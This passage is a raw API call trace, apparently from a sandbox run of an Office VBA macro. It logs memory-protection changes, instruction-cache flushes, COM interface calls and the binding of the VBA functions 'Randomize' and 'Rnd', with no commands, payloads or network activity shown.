lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.259] GetCurrentProcess () returned 0xffffffffffffffff [0076.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.259] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.260] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.260] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.260] GetCurrentProcess () returned 0xffffffffffffffff [0076.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.260] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.260] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.260] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb824728) returned 0x2 [0076.260] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.260] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb824780) returned 0x5 [0076.260] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.260] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb824678) returned 0x1 [0076.260] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.260] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.260] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.260] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.260] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.260] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.260] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.260] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.260] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.260] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.261] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.261] IUnknown:Release (This=0xb941878) returned 0x4 [0076.261] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.261] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.261] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.261] IUnknown:Release (This=0xb941980) returned 0x4 [0076.261] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.261] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.261] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.261] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.261] VarAdd (in: pvarLeft=0xb823e70, pvarRight=0xb823e88, pvarResult=0xb823e58 | out: pvarResult=0xb823e58) returned 0x0 [0076.261] VarAdd (in: pvarLeft=0xb823e58, pvarRight=0xb823e10, pvarResult=0xb823e40 | out: pvarResult=0xb823e40) returned 0x0 [0076.261] VarAdd (in: pvarLeft=0xb823df8, pvarRight=0xb823e28, pvarResult=0xb823de0 | out: pvarResult=0xb823de0) returned 0x0 [0076.261] VarAdd (in: pvarLeft=0xb823de0, pvarRight=0xb823dc8, pvarResult=0xb823db0 | out: pvarResult=0xb823db0) returned 0x0 [0076.261] VarAdd (in: pvarLeft=0xb823db0, pvarRight=0xb823d98, pvarResult=0xb823d80 | out: pvarResult=0xb823d80) returned 0x0 [0076.261] SafeArrayDestroyData (psa=0x5b45ba0) returned 0x0 [0076.261] SafeArrayDestroyDescriptor (psa=0x5b45ba0) returned 0x0 [0076.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57917ba, cbMultiByte=10, lpWideCharStr=0x1ff310, cchWideChar=11 | out: lpWideCharStr="Randomize") returned 10 [0076.261] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Randomize", lHashVal=0x10ab02, wFlags=0x1, ppTInfo=0x1ff2c8, pDescKind=0x1ff2dc, ppFuncDesc=0x1ff2e0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff2c8*=0xb941a30, pDescKind=0x1ff2dc*=1, ppFuncDesc=0x1ff2e0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.262] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941a30, ppTypeAttr=0x1ff2d0, pDummy=0x1 | out: ppTypeAttr=0x1ff2d0, pDummy=0x1) returned 0x0 [0076.262] ITypeInfo:LocalReleaseTypeAttr (This=0xb941a30) returned 0x0 [0076.262] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941a30, memid=1610612741, invkind=1, pFuncIndex=0x1ff170 | out: pFuncIndex=0x1ff170*=0x5) returned 0x0 [0076.262] ITypeInfo2:GetFuncCustData (in: This=0xb941a30, index=0x5, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff188 | out: pVarVal=0x1ff188*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x10ab02)) returned 0x0 [0076.262] IUnknown:Release (This=0xb941a30) returned 0x1 [0076.262] IUnknown:AddRef (This=0xb941a30) returned 0x2 [0076.262] ITypeInfo:LocalReleaseFuncDesc (This=0xb941a30) returned 0x0 [0076.262] IUnknown:Release (This=0xb941a30) returned 0x1 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff3f8 | out: ppvObject=0x1ff3f8*=0x0) returned 0x80004002 [0076.262] IUnknown:AddRef (This=0xb941a30) returned 0x2 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff380 | out: ppvObject=0x1ff380*=0x0) returned 0x80004002 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff350 | out: ppvObject=0x1ff350*=0x0) returned 0x80004002 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff340 | out: ppvObject=0x1ff340*=0x0) returned 0x80004002 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff348 | out: ppvObject=0x1ff348*=0x0) returned 0x80004002 [0076.262] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941a30, ppTypeAttr=0x1ff378, pDummy=0x10 | out: ppTypeAttr=0x1ff378, pDummy=0x10) returned 0x0 [0076.262] ITypeInfo:LocalReleaseTypeAttr (This=0xb941a30) returned 0x0 [0076.262] IUnknown:AddRef (This=0xb941a30) returned 0x3 [0076.262] IUnknown:Release (This=0xb941a30) returned 0x2 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff568 | out: ppvObject=0x1ff568*=0x0) returned 0x80004002 [0076.262] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff560 | out: ppvObject=0x1ff560*=0x0) returned 0x80004002 [0076.262] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x1feda0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.262] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1feda0, pbstrName=0x0, pwOrdinal=0x1fedc0 | out: pBstrDllName=0x1feda0*=0x0, pbstrName=0x0, pwOrdinal=0x1fedc0*=0xf030) returned 0x0 [0076.262] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feda0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feda0, pwOrdinal=0x500000000) returned 0x0 [0076.262] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6489330 [0076.262] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x3b) returned 1 [0076.262] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dae, cbMultiByte=4, lpWideCharStr=0x1ff310, cchWideChar=5 | out: lpWideCharStr="Rnd") returned 4 [0076.262] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Rnd", lHashVal=0x10cf52, wFlags=0x3, ppTInfo=0x1ff2c8, pDescKind=0x1ff2dc, ppFuncDesc=0x1ff2e0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff2c8*=0xb941a30, pDescKind=0x1ff2dc*=1, ppFuncDesc=0x1ff2e0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.263] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941a30, ppTypeAttr=0x1ff2d0, pDummy=0x1 | out: ppTypeAttr=0x1ff2d0, pDummy=0x1) returned 0x0 [0076.263] ITypeInfo:LocalReleaseTypeAttr (This=0xb941a30) returned 0x0 [0076.263] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941a30, memid=1610612742, invkind=1, pFuncIndex=0x1ff170 | out: pFuncIndex=0x1ff170*=0x6) returned 0x0 [0076.263] ITypeInfo2:GetFuncCustData (in: This=0xb941a30, index=0x6, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff188 | out: pVarVal=0x1ff188*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x10cf52)) returned 0x0 [0076.263] IUnknown:Release (This=0xb941a30) returned 0x3 [0076.263] IUnknown:AddRef (This=0xb941a30) returned 0x4 [0076.263] ITypeInfo:LocalReleaseFuncDesc (This=0xb941a30) returned 0x0 [0076.263] IUnknown:Release (This=0xb941a30) returned 0x3 [0076.263] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff3f8 | out: ppvObject=0x1ff3f8*=0x0) returned 0x80004002 [0076.263] IUnknown:AddRef (This=0xb941a30) returned 0x4 [0076.263] IUnknown:Release (This=0xb941a30) returned 0x3 [0076.263] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff568 | out: ppvObject=0x1ff568*=0x0) returned 0x80004002 [0076.263] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff560 | out: ppvObject=0x1ff560*=0x0) returned 0x80004002 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x1feda0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1feda0, pbstrName=0x0, pwOrdinal=0x1fedc0 | out: pBstrDllName=0x1feda0*=0x0, pbstrName=0x0, pwOrdinal=0x1fedc0*=0xf030) returned 0x0 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feda0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feda0, pwOrdinal=0x500000000) returned 0x0 [0076.263] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x3b) returned 1 [0076.263] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x1ff2e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff2e0, pbstrName=0x0, pwOrdinal=0x1ff300 | out: pBstrDllName=0x1ff2e0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff300*=0xf570) returned 0x0 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff2e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff2e0, pwOrdinal=0x500000000) returned 0x0 [0076.263] ITypeInfo:RemoteGetDllEntry (in: This=0xb941a30, memid=1610612742, invkind=1, refPtrFlags=0x1fed90, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.263] 